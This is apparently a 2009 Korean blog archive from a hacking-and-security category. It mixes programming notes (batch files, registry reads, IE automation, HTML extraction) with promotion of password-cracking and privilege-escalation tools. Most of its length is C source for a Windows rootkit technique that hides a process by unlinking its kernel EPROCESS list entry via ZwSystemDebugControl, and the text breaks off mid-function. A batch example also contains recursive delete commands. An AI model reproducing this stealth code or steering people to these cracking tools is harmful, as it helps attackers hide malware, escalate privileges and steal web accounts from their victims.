- Windows 계열에서 ‘php’가 지원될 경우 사용

8.
 SQL Injection 취약점
웹 브라우저 주소 창 또는 사용자 ID 및 패스워드 입력화면에서 데이터베이스 SQL문에 사용되는 문자기호( )의 입력을 적절히 필터링 하지 않은 경우에 해커가 SQL 문으로 해석될 수 있도록 조작한 입력으로
데이터베이스를 인증 절차 없이 접근, 자료를 무단 유출하거나 변조할 수 있다.
2009/09/30 03:56 2009/09/30 03:56

이건 사용법이 간단하면서도, 많이 사용하는 웹 웹핵 입니다.

웹에있는 아이디를 알아내서 비번을 알아내는 프로그램 입니다.

당근 해킹툴이라 백신에서 바이러스로 인식합니다.

사용자 삽입 이미지

2009/09/30 03:48 2009/09/30 03:48
사용자 삽입 이미지
우연한 기회에 알게된 중국 해킹툴이다. All in One의 의미로 파일명이 aio.exe 이며. 이 툴하나면 모든 것을 다 할 수 있다.
WinEggDrop이라는 중국 해커가 만든 툴이다.
2009/09/30 03:41 2009/09/30 03:41
소스설명)
레지스트리에서 물리적인 메모리를 추출하는 소스


/////////////////////////////////////////////////////////////////////////
//
//  Module:
//    Read physical memory information from registry
//    HKLM\HARDWARE\RESOURCEMAP\System Resources\Physical Memory
//
//  Author:
//    CDrea (CDrea_at_SafeChina[dot]ORG
//
//  Version:
//    2007-12-24  v0.1
//
/////////////////////////////////////////////////////////////////////////


#include <windows.h>
#include <stdio.h>

struct _mi {
        LARGE_INTEGER        Address;
        DWORD                        Length;
        DWORD                        Reserved;
};

#define MI_LEN        sizeof(struct _mi)

typedef struct _phy_mem_info {
        DWORD                BusCount;
        DWORD                MemoryRangeCount;
        struct _mi*        MemInfoPtr;
}PHY_MEM_INFO;

BOOL
GetPhyMemoryInfo(
        OUT PHY_MEM_INFO* PhyMemInfo
        );

void logo();

int main()
{
        PHY_MEM_INFO        PhyMemInfo  = {0};
        LARGE_INTEGER        TotalSize = {0};

        logo();

        if(!GetPhyMemoryInfo(&PhyMemInfo)) return -1;

        for(DWORD i = 0; i < PhyMemInfo.MemoryRangeCount; i++)
        {
                TotalSize.QuadPart += (PhyMemInfo.MemInfoPtr + i)->Length;
        }

        printf("Total memory: %d MB\n", TotalSize.QuadPart / 1024 / 1024);
        printf("Bus count: %d\n", PhyMemInfo.BusCount);
        printf("Memory ranges:\n");
        for(DWORD i = 0; i < PhyMemInfo.MemoryRangeCount; i++)
        {
                printf("  0x%-016I64X  Length: 0x%X (%dK)\n",
                        (PhyMemInfo.MemInfoPtr + i)->Address.QuadPart,
                        (PhyMemInfo.MemInfoPtr + i)->Length,
                        (PhyMemInfo.MemInfoPtr + i)->Length / 1024);
        }

        if(PhyMemInfo.MemInfoPtr != NULL)
                free(PhyMemInfo.MemInfoPtr);
        return 0;
}

BOOL
GetPhyMemoryInfo(
        OUT PHY_MEM_INFO* PhyMemInfo
)
{
        HKEY hKey;
        int nRet = 0;

        nRet = RegOpenKey(HKEY_LOCAL_MACHINE, "Hardware\\ResourceMap\\System Resources\\Physical Memory", &hKey);
        if(nRet != ERROR_SUCCESS)
        {
                fprintf(stderr, "RegOpenKey() failed. --err: %d\n", GetLastError());
                return FALSE;
        }

        DWORD Type = 0;
        DWORD cbData = 0;
        LPBYTE lpData = NULL;
        LPBYTE pmrc = NULL;

        RegQueryValueEx(hKey, ".Translated", 0, &Type, NULL, &cbData);
        lpData = (LPBYTE)malloc(cbData);
        RegQueryValueEx(hKey, ".Translated", 0, &Type, lpData, &cbData);
        if(nRet != ERROR_SUCCESS)
        {
                fprintf(stderr, "RegQueryValueEx() failed. --err: %d\n", GetLastError());
                return FALSE;
        }

        DWORD BusCount = *(DWORD*)lpData;
        if(BusCount <= 0)
        {
                fprintf(stderr, "Cannot get valid memory information.\n");
                return FALSE;
        }

        LPBYTE p = lpData + 0x10;
        DWORD MemoryRangesCount = 0;
        for(DWORD i = 1; i <= BusCount; i++)
        {
                MemoryRangesCount += *(DWORD*)p;
                p = p + 0x8 + i * (*(DWORD*)p) * 0x10;
        }
        p = lpData + 0x10;

        PhyMemInfo->MemInfoPtr = (struct _mi*)malloc(MI_LEN * MemoryRangesCount);
        if(PhyMemInfo->MemInfoPtr == NULL)
        {
                fprintf(stderr, "Not enough memory.\n");
                return FALSE;
        }

        LPBYTE pmi = NULL;
        struct _mi* ptr = PhyMemInfo->MemInfoPtr;
        for(DWORD i = 1; i <= BusCount; i++)
        {
                pmi = p + 0x8;
                for(DWORD j = 0; j < *(DWORD*)p; j++)
                {
                        ptr->Address.LowPart = *(DWORD*)pmi;
                        ptr->Address.HighPart = *(long*)(pmi + 0x4);
                        ptr->Length  = *(DWORD*)(pmi + 0x8);
                        ptr++;
                        pmi += MI_LEN;
                }

                p = p + 0x8 + i * (*(DWORD*)p) * 0x10;
        }

        PhyMemInfo->BusCount = BusCount;
        PhyMemInfo->MemoryRangeCount = MemoryRangesCount;

        RegCloseKey(hKey);
        free(lpData);
        return TRUE;
}

void logo()
{
        printf("+------------------------------------+\n");
        printf("|  Physical Memory Information v0.1  |\n");
        printf("|  Write by CDrea                    |\n");
        printf("|  CDrea_at_SafeChina[dot]ORG        |\n");
        printf("|  2007-12-24                        |\n");
        printf("|  http://www.safechina.org          |\n");
        printf("+------------------------------------+\n\n");
}
2009/09/30 03:40 2009/09/30 03:40

Ptsec 툴

해킹&보안/해킹툴 2009/09/30 03:39

ptsec이라고 하는 툴이다. 주로 쓰레드, 프로세스, 토콘의 impersonate thread exploit Administrator 권한 획득 해킹툴이다. 즉, 사용자 권한(IIS 웹서버 권한)에서 관리자 권한(Administrator)으로 권한을 상승시키는 로컬 Exploit 입니다. 원저자는 일본사람으로 추정되고 있다.

1) ptsec 구동

사용자 삽입 이미지

2) 각 프로세스마다 토큰 획득을 시도

사용자 삽입 이미지
출처 :http://coderant.egloos.com/3582126
2009/09/30 03:39 2009/09/30 03:39

메타데이타는 데이타를 위한 데이타입니다.

보통 컴퓨터에서는 메타데이타를 크게 2가지 목적을 위해 사용하고 있읍니다.


하나는 데이타의 표현하기 위한 것입니다.

예를 들어 위의 문장은 굵은 글씨로 글이 쓰여져 있습니다. "하나는 데이타의 표현하기 위한 것입니다."라는 문장은 사용자 입장에서 보면 데이타가 되겠지요.


그런데 이것을 굵은 글씨로 화면에 보이게 하라 는 것이 어디엔가 데이타로 표현 되어 있겠지요. 이러한 데이타를 메타 데이타라고 합니다. 즉 데이타를 꾸미기(?) 위한 데이타라고 이야기 할 수 있죠.


 우리가 ms-word나 아래 한글로 타이핑 할 때 글씨를 빨강색으로 보이게도 하고, 또 제곱 글자 처럼 작은 글자로 위로 올라 가게 보이게하기도 합니다. 또는 이탤릭 체로 보이게 할 수도 있읍니다. 우리 눙에는 안보이지만 컴퓨터 프로그램은 파일 내 어디엔가 이런 정보를 담아 두겠지요. 이러한 것을 메타데이타라고 합니다.


그러나 메타데이타는 글자의 모양이나 색깔 등을 표현하는 것 이외에도 문장의 제목이나 단락, 혹은 쪽(page), 장(chapter)등을 표현 할 수 도 있읍니다.


메타데이타의 가장 좋은 예는 html태그입니다.

<*font color=red*>,<*b*>,<*h1*>,<*head*>,<*body*>등으로 글자의 색상이나, 문맥 등을 표현 하지요. 이러한 html은 또 구조화 되어 있어서 메타데이타를 데이터에 관한 구조화된 데이터 (structured data about data) 라고 부르기도 합니다.


구조화의 의미는, html태그내에 head나 body가 있고 body내에는 table이 올 수 있고, table내에는 tr이, tr내에는 td가 올 수 있는 것처럼 상위에서 하위로 구조(treeㄹ형태)를 이루고 잇다는 의미이지요.


메타데이타의 또 다른 역할은 데이타를 찾기 위한 인덱스(Index)구실을 한다는 것입니다.

우리가 책의 내용을 찾을 때 책 앞의 목차나 책 뒤의 색인을 보고 찾으면 빨리 찾을 수 잇읍니다. 우리가 많이 사용하는 데이타베이스도 이러한 메타데이타가 잘 구성 되어 있기 때문에 빨리 데이타를 찾을 수 있습니다.


이 경우, 메타데이타는 데이타를 빨리 찾기 위해 만들어 둔 데이타가 되겠지요.


전자의 경우나 후자의 경우나 메타데이타는 데이타를 사용하는 사람에게는 보이지 않읍니다. 그러나 기계(컴퓨터)는 메타 데이타를 내용을 이해하고  이용합니다.


요약해서 이야기 하면 메타데이타는


(1) 데이타를 꾸미기 위한 데이타

(2) 데이타를 빨리 찾기 위해 만들어 둔 데이타

2009/09/30 03:36 2009/09/30 03:36

⑴ 배치파일이란?

자주 사용되는 일련의 명령들을 하나의 그룹으로 묶은 후 배치파일명만 입력하면 여러 명령이 한번에 수행되도록 한 파일로, 일괄처리파일이라고도 함


⑵ 배치파일 작성

'COPY CON 파일명'을 이용하거나 각종 에디터(Editor) 또는 워드프로세서를 통해 작성
배치파일을 확장자 : BAT
배치파일에서 사용 가능한 명령 : 내부 및 외부 명령어, 배치 전용 명령 등
10개 이상의 명령을 실행시키기 위해 %0~%9까지 10개의 파라미터를 사용
일괄처리 파일의 실행 : 파일명을 입력한 후 Enter
(예) 다음과정을 수행하는 배치파일 작성
화면을 삭제
파일 현재 디렉토리 목록을 확인
A 드라이브를 검사
A 드라이브 디스크 복사


⑶ AUTOEXEC.BAT

배치파일의 특수한 경우로 컴퓨터가 부팅될 때 자동으로 실행되는 파일을 말하며, 주로 컴퓨터를 사용할 때 매번 설정하는 초기 명령 등을 기입함
자동실행 배치파일에는 일반 배치파일에서 사용하는 각종 명령어(내부/외부 명령어, 배치파일 전용 명령어)를 모두 사용할 수 있음
AUTOEXEC.BAT 파일은 루트 디렉토리에 존재해야 부팅시 정해진 처리를 하게 됨


⑷ 배치 전용 명령

ECHO ON : 명령어를 화면에 표시
ECHO OFF : 명령어를 화면에 표시하지 않음
GOTO : 특정 레이블로 분기하고자 할 경우 사용
IF : 조건에 따른 수행을 하고자 할 때 사용
PAUSE : 배치파일의 수행을 일시 정지
Shift : 가상의 파라미터를 이동
FOR : 실행을 반복
CALL : 다른 배치 파일 호출
※ ECHO 명령 사용시 ECHO OFF라는 명령조차 나타나는 것을 막기 위해서는 ECHO 명령 앞에 '@' 기호를 붙여주면 됨



샘플파일    aaa.bat

-----------------

@echo
cd d:\temp\
del *.*;

del /Q *.*;   <--- 묻지 않고 삭제하기.

------------------


@echo
cd C:\kkk
REM call rexpis_stop.bat         <----- 주석 , 설명
cd C:\kkk\data\autoretry
del /Q *.*;
rm -rf ./                               <--- 해당 폴더 하위의 폴더를 삭제 , 에러무시해도 됨.
del /Q *.*;
cd C:\XMapper\data\xmldoc\mapin
sqlplus a/a@ORCL        <-- 바로 sqlplus 로 접속   ( @a.txt     a.txt 파일을 열어서 바로 스크립트 실행 )
copy aaa.txt c:\kkk\bbb.txt
cd C:\kkk
REM call abc.bat

2009/09/30 03:35 2009/09/30 03:35

1. 레지스트리 경로
\software\microsoft\windows\currentversion\app paths\IEXPLORE.EXE
에 보시면 iexplorer.exe 패스가 나옵니다.
win9x, winMe, win2k 동일합니다.

spath는 설치된 경로, surl은 http://www.yahoo.co.kr/
모두 문자열입니다.


STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si,0,sizeof(STARTUPINFO));
sprintf(cmd,"%s %s",spath,surl);
CreateProcess (NULL,cmd,NULL,NULL,true, NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi);



항상 새로운 윈도우에 프로그램이 실행됩니다.



2. 항상 새로운 익스플로러 실행

ShellExecute(NULL,"open","iexplore",((SiteInfo*)GetItemData(nItem))->Url,NULL,SW_SHOW);


형식> ShellExecute(NULL,"open","iexplore", url, NULL, SW_SHOW);




3. 마지막으로 실행된 익스플로러를 이용
ShellExecute(NULL,"open",((SiteInfo*)GetItemData(nItem))->Url,NULL,NULL,SW_SHOW);


형식> ShellExecute(NULL,"open", url, NULL, SW_SHOW);



4. 레지스트리에서 경로를 읽어와서 익스플로러 새창을 뛰우기
HKEY hkey;
LONG ReturnValue=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\

App Paths\\IEXPLORE.EXE",0, KEY_ALL_ACCESS,&hkey);


if(ReturnValue==ERROR_SUCCESS)
{
DWORD dwType;
DWORD dwSize = 200;
char szString[255];

LONG lReturn = RegQueryValueEx (hkey, "", NULL,&dwType, (BYTE *)

szString, &dwSize);
if(lReturn==ERROR_SUCCESS )
{
RegCloseKey(hkey);
CString str;
str.Format("%s",szString);
str+=" ";
str+=((SiteInfo*)GetItemData(nItem))->Url;
WinExec(str,SW_SHOW);

}

}

2009/09/30 03:32 2009/09/30 03:32

// 깔끔하게 만들려고 노력했다.
// 에러처리 완벽하게 할려고 했다.

/*
 // <사용방법>
 LPWSTR lpszSource;      // WCHAR 포인터(유니코드 문자열) 변수 할당
 if(GetHtmlSource(pDoc, &lpszSource)){ // 성공여부 체크
  //ClipBoardTextCopyW(lpszSource); // 필요한 작업~~~~
  //.....
  //....
  //...
  free(lpszSource);     // ★ 작업이 끝나면 반드시 해제하자
 }

*/

int __stdcall GetHtmlSource(IHTMLDocument2 *pDoc, LPWSTR *ppszText)
{
 int iRunCount = 0;  // 함수 실행 횟수 제한키 위해
 int iSuccessCount = 0; // 성공적으로 프레임으로부터 소스 추출한 횟수

 *ppszText = (LPWSTR)calloc(1, sizeof(WCHAR));
 if(NULL == *ppszText){
  MessageBox(NULL, _T("초기 2바이트 메모리 할당에 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
  *ppszText = NULL;
  return 0;
 }
 
 iSuccessCount = GetHtmlSourceRecur(pDoc, ppszText, &iRunCount); // 실질적인 재귀함수 실행
 if(0 == iSuccessCount) free(*ppszText); // 성공카운트가 0이면 실패이므로 메모리 해제하자.
 
 return iSuccessCount;
}


// 프레임안에 프레임이 있는 구조가 흔하므로 재귀함수로 구성한다.
// 재귀함수의 무한반복(스택 오버플로우 에러 가능)은 위험하므로 호출횟수 제한함.
// 정상적인 웹페이지에서 프레임이 20개 넘는 경우는 없을 것이므로 20으로 제한
// 리턴값은 프레임에서 소스 추출 성공횟수
int __stdcall GetHtmlSourceRecur(IHTMLDocument2 *pDoc, LPWSTR *ppszText, int *piRunCount)
{
 // 호출횟수 검사
 *piRunCount = *piRunCount+1;
 if(*piRunCount > 20){
  MessageBox(NULL, _T("GetHtmlSourceRecur 재귀함수 호출이 20회를 초과하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
  return 0;
 }

 BOOL bRes=FALSE;
 int iSuccessCount = 0;
 
 // 현재의 프레임의 URL 추출
 LPCWSTR lpszPreStr=L"<!-- ◀◀◀ 프레임 주소: "; // 주석표시와 앞에 붙일 스트링
 BSTR bstrUrl;
 if(S_OK == pDoc->get_URL(&bstrUrl)){
  *ppszText = (LPWSTR)realloc(*ppszText, (lstrlenW(*ppszText)+lstrlenW(bstrUrl)+lstrlenW(lpszPreStr)+5+1)*sizeof(WCHAR));
  if(*ppszText){
   lstrcatW(*ppszText, lpszPreStr);
   lstrcatW(*ppszText, bstrUrl);
   lstrcatW(*ppszText, L"-->\r\n"); // 주석 닫음과 개행(길이 5)
   bRes = TRUE;
  } else{
   MessageBox(NULL, _T("URL을 위한 메모리 할당이 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
   bRes = FALSE;
  }
  SysFreeString(bstrUrl);
 }
 
 if(!bRes){
  MessageBox(NULL, _T("URL을 얻는 데 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
  return 0;
 }


 // 현재의 프레임의 도큐먼트의 소스 추출... 구하는 원리는 <body>의 부모는 <html>이므로...
 IHTMLElement * pBodyElem=NULL;
 IHTMLElement * pParentElem=NULL;
 BSTR bstrSource;
 
 bRes=FALSE;
 if(S_OK==pDoc->get_body(&pBodyElem)){
  if(S_OK==pBodyElem->get_parentElement(&pParentElem)){
   if(S_OK == pParentElem->get_outerHTML(&bstrSource)){
    *ppszText = (LPWSTR)realloc(*ppszText, (lstrlenW(*ppszText)+lstrlenW(bstrSource)+8+1)*sizeof(WCHAR));
    if(*ppszText){
     lstrcatW(*ppszText, bstrSource);
     lstrcatW(*ppszText, L"\r\n\r\n\r\n\r\n"); // 개행 4번(길이 8)
     bRes = TRUE;
    } else{
     MessageBox(NULL, _T("소스를 위한 메모리 할당이 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
     bRes = FALSE;
    }
    SysFreeString(bstrSource);
   }
   pParentElem->Release();
  }
  pBodyElem->Release();
 }
 if(!bRes){
  MessageBox(NULL, _T("개별 도큐먼트 소스를 얻는 데 실패하였습니다."), _T("GetHtmlSource 에러"), MB_ICONERROR|MB_TOPMOST);
  return 0;
 }
 
 ++iSuccessCount;


 // 내부에 존재하는 프레임의 수를 검사하고 있으면 재귀호출
 long i, lFrameCount=0;
 IHTMLFramesCollection2 *pFramesCollection = NULL;
 IHTMLWindow2 * pWin=NULL;
 IHTMLDocument2 * pDocFrame = NULL;
 VARIANT varIndex; varIndex.vt=VT_I4;
 VARIANT varDispWin; varDispWin.vt=VT_DISPATCH;
 
 if(S_OK == pDoc->get_frames(&pFramesCollection)){
  if(S_OK == pFramesCollection->get_length(&lFrameCount)){
   for(i=0 ; i<lFrameCount ; i++){
    varIndex.lVal=i;
    if(S_OK == pFramesCollection->item(&varIndex, &varDispWin)){
     if(S_OK == varDispWin.pdispVal->QueryInterface(IID_IHTMLWindow2,(void**)&pWin)){
      if(S_OK == pWin->get_document(&pDocFrame)){ // 하위 doc이 구해지면 재귀시킨다.
       iSuccessCount += GetHtmlSourceRecur(pDocFrame, ppszText, piRunCount);
       pDocFrame->Release();
      }
      pWin->Release();
     }
     varDispWin.pdispVal->Release();
    }
   }
  }
  pFramesCollection->Release();
 }

 return iSuccessCount;
}


2009/09/30 03:32 2009/09/30 03:32
2009/09/30 03:30 2009/09/30 03:30

http://cafe.naver.com/develx/26
위 주소에서 얻어옴...

///////////////////////////////////
어플리케이션 level에서 자신의 커널 level의 정보를 수정, 프로세서 고리를 끊는 방법으로

자기자신을 숨긴다.


별도의 디바이스드라이버를 작성하거나 등록 할 필요가 없어서 기존 프로그램에 손 쉽게 붙일 수 있다.

단지, 이 프로그램.... VISTA에서 안 돌아간다는거...

코드를 좀 수정하면 비스타에서도 가능 할 듯.. (프로세서 구조체의 번지만 다시 찾는다면은...)


// homin.cpp : Defines the entry point for the application.
//

#include "stdafx.h"

#include <malloc.h>
#include <windows.h>

//NTSTATUS값이 0이상이면 보통 성공한 상태를 의미한다
#define NT_SUCCESS(Status)    ((NTSTATUS)(Status) >= 0)
//사이즈를 잘못 맞춘 경우
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L)

//NT함수가 사용하는 리턴 값인 NTSTATUS는 LONG형으로 정의된다
typedef LONG       NTSTATUS;

//원래 값이 엄청 많다
//16은 레퍼런스에는 나와있지 않은 값인데,
//이를 넣을 경우 SYSTEM_HANDLE_INFORMATION을 얻을 수 있다
typedef enum _SYSTEM_INFORMATION_CLASS
{
 SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

//시스템 핸들에 대한 정보를 가지고 있다
typedef struct _SYSTEM_HANDLE_INFORMATION
{
 ULONG   ProcessId;
 UCHAR   ObjectTypeNumber;
 UCHAR   Flags;
 USHORT   Handle;
 PVOID   Object;
 ACCESS_MASK  GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

//가상 메모리에 데이터를 쓰거나 읽을 때 사용하는 구조체이다
typedef struct _MEMORY_CHUNKS
{
 PVOID pVirtualAddress;
 PVOID pBuffer;
 DWORD dwBufferSize;
} MEMORY_CHUNKS, *PMEMORY_CHUNKS;

//ZwSystemDebugControl의 첫 번째 인자
typedef enum _SYSDBG_COMMAND
{
 SysDbgCopyMemoryChunks_0 = 0x08,  //가상 메모리로부터 데이터를 읽을 때
 SysDbgCopyMemoryChunks_1 = 0x09,  //가상 메모리에 데이터를 쓸 때
} SYSDBG_COMMAND;

//DLL로 부터 로드해 사용해야 한다.. windows.h에 정의되어있지 않다
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS
                SystemInformationClass,
                IN OUT PVOID SystemInformation,
                IN ULONG SystemInformationLength,
                OUT PULONG ReturnLength OPTIONAL );
typedef NTSTATUS ( __stdcall *ZWSYSTEMDEBUGCONTROL ) ( IN SYSDBG_COMMAND SysDbgChunks,
               IN OUT PMEMORY_CHUNKS pQueryBuff,
               DWORD dwSize, DWORD, DWORD, NTSTATUS *pResult);

//***********************************************************//
// ZwQuerySystemInformation은 시스템 정보를 얻어오는 함수로, //
// 첫 번째 인자에 16을 넘길 경우 현재 로드 되어있는 모든     //
// 핸들의 정보를 얻어오도록 되어있다.                        //
//***********************************************************//
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

//***********************************************************//
// ZwSystemDebugControl은 시스템 디버그에 관련된 명령을 수행 //
// 하는 함수로, 8또는 9를 넘길 경우 가상 메모리 공간을       //
// 읽거나 쓴다.                                              //
//***********************************************************//
ZWSYSTEMDEBUGCONTROL  ZwSystemDebugControl;

BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess);       //알맞는 권한을 획득한다
BOOL GetNativeAPIAddress();              //Native API의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId);  //주어진 프로세스의 시스템 핸들 정보를 얻어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize);  //가상 메모리 공간을 읽는다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize);  //가상 메모리 공간에 데이터를 쓴다
BOOL HideProcess(DWORD dwProcessId);           //프로세스를 숨긴다

BOOL EnablePrivilege(LPCSTR lpName, HANDLE hProcess)
{
 //권한 토큰 구조체
 TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
 //lpName으로 지정된 권한 이름에 대한 LUID를 얻어낸다
 LookupPrivilegeValue(0, lpName, &priv.Privileges[0].Luid);

 //프로세스의 토큰 핸들을 얻고
 HANDLE hToken;
 OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);

 //입력받은 권한으로 프로세스 권한을 바꾼다
 AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(TOKEN_PRIVILEGES), 0, 0);

 BOOL rv = GetLastError() == ERROR_SUCCESS;

 CloseHandle(hToken);
 return rv;
}

//Native API의 주소를 얻어온다
BOOL GetNativeAPIAddress()
{
 //ntdll.dll로드
 HMODULE hNTDll;

 if( (hNTDll = GetModuleHandle("ntdll.dll")) == NULL )
  if( (hNTDll = LoadLibrary("ntdll.dll")) == NULL )
   return FALSE;

 //ZwQuerySystemInformation로드
 if( (ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(
  hNTDll, "ZwQuerySystemInformation")) == NULL )
  return FALSE;

 //ZwSystemDebugControl로드
 if( (ZwSystemDebugControl = (ZWSYSTEMDEBUGCONTROL)GetProcAddress(
  hNTDll, "ZwSystemDebugControl")) == NULL )
  return FALSE;

 return TRUE;
}

//프로세스의 아이디로 부터 ActiveProcessLinks정보를 가진 EPROCESS구조체의
//가상 메모리 공간상의 주소를 얻어온다
PSYSTEM_HANDLE_INFORMATION GetProcessSystemHandleInfo(ULONG ulProcessId)
{
 NTSTATUS result;
 PVOID pBuffer = NULL;        //데이터를 읽어올 배열
 PSYSTEM_HANDLE_INFORMATION pSystemHandleInfo;  //핸들 정보 배열
 PSYSTEM_HANDLE_INFORMATION pProcessHandle = NULL; //리턴할 값

 //핸들의 수를 모르기 때문에, 적당한 사이즈를 알 수 없다
 //때문에 반복문을 돌면서 그 값을 찾아야 한다
 for( ULONG ulSize=1; ; ulSize *= 2 )
 {
  //정한 사이즈로 메모리를 할당한다
  if( (pBuffer = malloc(ulSize) ) == NULL )
   //실패할 경우 NULL 리턴
   return NULL;

  //시스템에 로드된 모든 핸들의 정보를 조사한다
  result = ZwQuerySystemInformation(SystemHandleInformation, pBuffer, ulSize, NULL);

  //실패할 경우
  if( !NT_SUCCESS(result) )
  {
   //메모리 해제
   free(pBuffer);
   //사이즈를 잘못 정했다면 반복문을 계속 수행한다
   if( result == STATUS_INFO_LENGTH_MISMATCH )
   {
    pBuffer = NULL;
   }
   //사이즈를 제대로 정했는데 실패한 것이라면 NULL을 리턴
   else
   {
    return NULL;
   }
  }
  //성공한 경우
  else
   //반복문을 빠져나간다
   break;
 }

 //읽어온 데이터의 첫 번째 4바이트는 배열의 길이 정보이다
 ULONG ulNumberOfHandles = *(PULONG)pBuffer;
 //다음 4바이트 부터는 SYSTEM_HANDLE_INFORMATION구조체의 배열이다
 pSystemHandleInfo = (PSYSTEM_HANDLE_INFORMATION)((PBYTE)pBuffer + sizeof(ULONG));

 //핸들의 수 만큼 반복문을 돌면서
 for( ULONG i=0; i<ulNumberOfHandles; i++ )
 {
  //입력받은 프로세스의 아이디와 일치하는 프로세스 아이디를 가지는
  //프로세스 핸들을 찾을 경우
  // (SYSTEM_HANDLE_INFORMATION구조체의 ObjectTypeNumber는
  // 오브젝트의 종류를 나타내는 것으로, 5번은 프로세스를 뜻한다)
  if( pSystemHandleInfo[i].ProcessId == ulProcessId &&
   pSystemHandleInfo[i].ObjectTypeNumber == 5 )
  {
   //리턴할 값으로 저장하고 반복문을 빠져나간다
   pProcessHandle = new SYSTEM_HANDLE_INFORMATION;
   memcpy(pProcessHandle, pSystemHandleInfo + i, sizeof(SYSTEM_HANDLE_INFORMATION));
   break;
  }
 }

 //메모리 해제
 if( pBuffer )
  free(pBuffer);

 //찾아낸 값을 리턴
 return pProcessHandle;
}

//가상 메모리 공간을 읽어온다
BOOL ReadVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
 NTSTATUS result;

 //메모리 청크 구조체
 MEMORY_CHUNKS QueryBuff;
 QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
 QueryBuff.pBuffer = pBuffer;   //버퍼의 주소
 QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기

 //가상 메모리 공간을 읽어서 버퍼에 기록한다
 ZwSystemDebugControl(SysDbgCopyMemoryChunks_0, &QueryBuff,
  sizeof(MEMORY_CHUNKS), NULL, 0, &result);

 return NT_SUCCESS(result);
}

//가상 메모리 공간에 데이터를 쓴다
BOOL WriteVirtualMemory(PVOID pAddress, PVOID pBuffer, DWORD dwBufferSize)
{
 NTSTATUS result;

 //메모리 청크 구조체
 MEMORY_CHUNKS QueryBuff;
 QueryBuff.pVirtualAddress = pAddress; //가상 메모리 주소
 QueryBuff.pBuffer = pBuffer;   //버퍼의 주소
 QueryBuff.dwBufferSize = dwBufferSize; //버퍼의 크기

 //버퍼로 부터 값을 읽어서 가상 메모리 공간에 기록한다
 ZwSystemDebugControl(SysDbgCopyMemoryChunks_1, &QueryBuff,
  sizeof(MEMORY_CHUNKS), NULL, 0, &result);

 return NT_SUCCESS(result);
}

//프로세스를 감춘다
BOOL HideProcess(DWORD dwProcessId)
{
 //OS의 버젼에 따라 EPROCESS내의 ActiveProcessLinks의 오프셋이 다르기 때문에
 //OS의 버젼을 파악하고 그에 따라 오프셋을 맞추어야 한다

 OSVERSIONINFO osvi;
 osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
 //OS의 버젼을 얻어온다
 GetVersionEx(&osvi);

 int nFOffset, nBOffset;
 if( osvi.dwMajorVersion == 5 )
 {
  switch( osvi.dwMinorVersion )
  {
  case 0: //Win2K
   nFOffset = 0xa0;
   nBOffset = 0xa4;
   break;

  case 1: //WinXP
   nFOffset = 0x88;
   nBOffset = 0x8C;
   break;

  case 2: //Win2003
   nFOffset = 0x8a;
   nBOffset = 0x8e;
   break;

  default:
   return FALSE;
  }
 }
 else if( osvi.dwMajorVersion == 4 &&
  osvi.dwMinorVersion == 0 &&
  osvi.dwPlatformId == 2 ) //WinNT
 {
  nFOffset = 0x98;
  nBOffset = 0x9c;
 }
 else
  return FALSE;

 //프로세스를 열어야만 프로세스 핸들이 시스템에 로드된다
 //프로세스를 연다
 OpenProcess(PROCESS_QUERY_INFORMATION, 0, dwProcessId);
 //주어진 프로세스의 시스템 핸들 정보를 얻어온다
 PSYSTEM_HANDLE_INFORMATION pProcessHandle = GetProcessSystemHandleInfo(dwProcessId);

 //잘못된 값을 얻어온 경우 리턴
 if( pProcessHandle == NULL )
  return FALSE;

 //EPORCESS의 가상 메모리 공간상의 주소를 얻어온다
 PVOID pEProcess = pProcessHandle->Object;

 delete pProcessHandle;

 //프로세스 핸들을 얻어온다 - 디버그 권한 설정에 사용된다
 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetCurrentProcessId());

 //디버그 권한을 설정한다
 if( EnablePrivilege(SE_DEBUG_NAME, hProcess) == FALSE )
  return FALSE;

 CloseHandle(hProcess);

 PVOID pFlink;
 PVOID pBlink;

 //ActiveProcessLinks의 Flink와 Blink의 가상 메모리 공간상의 주소를 얻어온다
 if( ReadVirtualMemory((BYTE *)pEProcess + nFOffset, &pFlink, sizeof(PVOID)) )
  if( ReadVirtualMemory((BYTE *)pEProcess + nBOffset, &pBlink, sizeof(PVOID)) )
   //Flink의 Blink에 Blink를, Blink의 Flink에 Flink를 기록하여,
   //프로세스를 리스트에서 제거한다
   if( WriteVirtualMemory((BYTE *)pFlink + sizeof(PLIST_ENTRY), &pBlink, sizeof(PVOID)) )
    if( WriteVirtualMemory((BYTE *)pBlink, &pFlink, sizeof(PVOID)) )
     return TRUE;

 return FALSE;
}


int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
